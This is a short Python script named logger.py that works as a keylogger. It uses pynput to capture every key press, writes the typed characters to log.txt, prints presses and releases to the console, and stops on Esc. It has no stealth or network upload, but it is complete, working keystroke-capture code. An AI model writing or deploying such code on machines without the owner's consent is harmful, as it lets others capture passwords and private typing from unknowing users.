logger.py

import pynput
from pynput.keyboard import Key, Listener
keys = []

def on_press(key):
    keys.append(key)
    write_file(keys)
    try:
        print('alphanumeric key {0} pressed'.format(key.char))
    except AttributeError:
        print('special key {0} pressed'.format(key))

def write_file(keys):
    with open('log.txt', 'w') as f:
        for key in keys:
            k = str(key).replace("'", "")
            if key == Key.space:
                f.write(' ')
            elif key == Key.backspace:
                print(k, "Key: ", key)
            elif k.find("Key") == -1:
                f.write(k)

def on_release(key):		
	print('{0} released'.format(key))
	if key == Key.esc:
		return False
with Listener(on_press = on_press,
			on_release = on_release) as listener:
					
	listener.join()